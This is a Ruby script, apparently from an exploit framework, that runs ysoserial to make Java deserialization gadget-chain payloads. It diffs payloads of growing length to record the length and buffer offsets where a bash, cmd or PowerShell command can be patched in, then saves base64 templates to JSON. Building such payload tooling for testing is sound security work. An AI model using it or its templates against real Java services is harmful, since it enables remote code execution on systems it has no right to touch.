Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/tools/payloads/ysoserial/find_ysoserial_offsets.rb
Views: 11623
#!/usr/bin/env ruby12require 'diff-lcs'3require 'json'4require 'base64'5require 'open3'6require 'optparse'78YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'.freeze9PAYLOAD_TEST_MIN_LENGTH = 0x010110PAYLOAD_TEST_MAX_LENGTH = 0x010211YSOSERIAL_MODIFIED_TYPES = %w[bash cmd powershell].freeze12YSOSERIAL_UNMODIFIED_TYPE = 'none'.freeze13YSOSERIAL_ALL_TYPES = ([YSOSERIAL_UNMODIFIED_TYPE] + YSOSERIAL_MODIFIED_TYPES).freeze1415@debug = false16@generate_all = false17@payload_type = YSOSERIAL_UNMODIFIED_TYPE18@ysoserial_payloads = []19@json_document = {}20OptionParser.new do |opts|21opts.banner = "Usage #{File.basename($PROGRAM_NAME)} [options]"2223opts.on('-a', '--all', 'Generate all types of payloads') do24@generate_all = true25end2627opts.on('-d', '--debug', 'Debug mode (output offset information only)') do28@debug = true29end3031opts.on('-h', '--help', 'Help') do32puts opts33abort34end3536opts.on('-m', '--modified [TYPE]', String, 'Use \'ysoserial-modified\' with the specified payload type') do |modified_type|37@payload_type = modified_type38end3940opts.on('-p', '--payload [PAYLOAD]', String, 'Specified ysoserial payload') do |payload|41@ysoserial_payloads << payload42end4344opts.on('-j', '--json [PATH]', String, 'Update an existing JSON document') do |json_path|45@json_document = JSON.parse(File.read(json_path))46end47end.parse!4849def generate_payload(payload_name, search_string_length)50# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload51search_string = 'A' * search_string_length5253# Build the command line with ysoserial parameters54if @payload_type == YSOSERIAL_UNMODIFIED_TYPE55stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-original.jar', payload_name, search_string)56else57stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-modified.jar', payload_name, @payload_type, search_string)58end5960payload = stdout61payload.force_encoding('binary')6263if @debug && payload.empty? && !stderr.empty?64# Pipe errors out to the console65warn(stderr.split("\n").each { |i| i.prepend(' ') })66elsif stderr.include? 'java.lang.IllegalArgumentException'67# STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"68return nil69elsif stderr.include? 'Error while generating or serializing payload'70# STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"71return nil72elsif stdout == "\xac\xed\x00\x05\x70"73# STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"74return nil75else76# STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"7778# Strip out the semi-randomized ysoserial string and trailing newline79payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]{13,14}/, 'ysoserial/Pwner00000000000000')80return payload81end82end8384def generate_payload_array(payload_name)85# Generate and return a number of payloads, each with increasingly longer strings, for future comparison86payload_array = []87(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|88payload = generate_payload(payload_name, i)89return nil if payload.nil?9091payload_array[i] = payload92end9394payload_array95end9697def length_offset?(current_byte, next_byte)98# If this byte has been changed, and is different by one, then it must be a length value99if next_byte && current_byte.position == next_byte.position && current_byte.action == '-' && (next_byte.element.ord - current_byte.element.ord == 1)100return true101end102103false104end105106def buffer_offset?(current_byte, next_byte)107# If this byte has been inserted, then it must be part of the increasingly large payload buffer108if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))109return true110end111112false113end114115def diff(blob_a, blob_b)116return nil if blob_a.nil? || blob_b.nil?117118diffs = Diff::LCS.diff(blob_a, blob_b)119diffs.flatten(1)120end121122def get_payload_list123# Call ysoserial and return the list of payloads that can be generated124payloads = `java -jar ysoserial-original.jar 2>&1`125payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')126payloads = payloads.split("\n")127128# Make sure the headers are intact, then skip over them129abort unless payloads[0] == 'Y SO SERIAL?'130payloads = payloads.drop_while { |line| !line.strip.start_with?('Payload') }131payloads = payloads.drop(2)132133payload_list = []134payloads.each do |line|135# Skip the header rows136next unless line.start_with? ' '137138payload_list.push(line.match(/^ +([^ ]+)/)[1])139end140141payload_list - ['JRMPClient', 'JRMPListener']142end143144# YSOSERIAL_MODIFIED_TYPES.unshift(YSOSERIAL_ORIGINAL_TYPE)145def generated_ysoserial_payloads146results = {}147@payload_list.each do |payload|148warn "Generating payloads for #{payload}..."149150empty_payload = generate_payload(payload, 0)151152if empty_payload.nil?153warn " ERROR: Errored while generating '#{payload}' and it will not be supported"154results[payload] = { status: 'unsupported' }155next156end157158payload_array = generate_payload_array(payload)159160length_offsets = []161buffer_offsets = []162163# Comparing diffs of various payload lengths to find length and buffer offsets164(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|165# Compare this binary with the next one166diffs = diff(payload_array[i], payload_array[i + 1])167168break if diffs.nil?169170# Iterate through each diff, searching for offsets of the length and the payload171diffs.length.times do |j|172current_byte = diffs[j]173next_byte = diffs[j + 1]174prev_byte = diffs[j - 1]175176if j > 0 && (prev_byte.position == current_byte.position)177# Skip this if we compared these two bytes on the previous iteration178next179end180181# Compare this byte and the following byte to identify length and buffer offsets182length_offsets.push(current_byte.position) if length_offset?(current_byte, next_byte)183buffer_offsets.push(current_byte.position) if buffer_offset?(current_byte, next_byte)184end185end186187if @debug188for length_offset in length_offsets189warn " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset - 1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"190end191192for buffer_offset in buffer_offsets193warn " BUFFER OFFSET #{buffer_offset}"194end195warn " PAYLOAD LENGTH: #{empty_payload.length}"196end197198payload_bytes = Base64.strict_encode64(empty_payload)199if buffer_offsets.empty?200# TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.201results[payload] = {202status: 'static',203bytes: payload_bytes204}205else206results[payload] = {207status: 'dynamic',208lengthOffset: length_offsets.uniq,209bufferOffset: buffer_offsets.uniq,210bytes: payload_bytes211}212end213end214results215end216217@payload_list = get_payload_list218unless @ysoserial_payloads.empty?219unknown_list = @ysoserial_payloads - @payload_list220if unknown_list.empty?221@payload_list = @ysoserial_payloads222else223warn "ERROR: Invalid payloads specified: #{unknown_list.join(', ')}"224abort225end226end227228if @generate_all229YSOSERIAL_ALL_TYPES.each do |type|230warn "Generating payload type for #{type}..."231@payload_type = type232@json_document[type] ||= {}233@json_document[type].merge!(generated_ysoserial_payloads)234$stderr.puts235end236else237@json_document[@payload_type] ||= {}238@json_document[@payload_type].merge!(generated_ysoserial_payloads)239end240241payload_count = {}242payload_count['skipped'] = 0243payload_count['static'] = 0244payload_count['dynamic'] = 0245246@json_document.each_value do |vs|247vs.each_value do |v|248case v[:status]249when 'unsupported'250payload_count['skipped'] += 1251when 'static'252payload_count['static'] += 1253when 'dynamic'254payload_count['dynamic'] += 1255end256end257end258259unless @debug260puts JSON.pretty_generate(@json_document)261end262263warn "DONE! Successfully generated #{payload_count['static']} static payloads and #{payload_count['dynamic']} dynamic payloads. Skipped #{payload_count['skipped']} unsupported payloads."264265266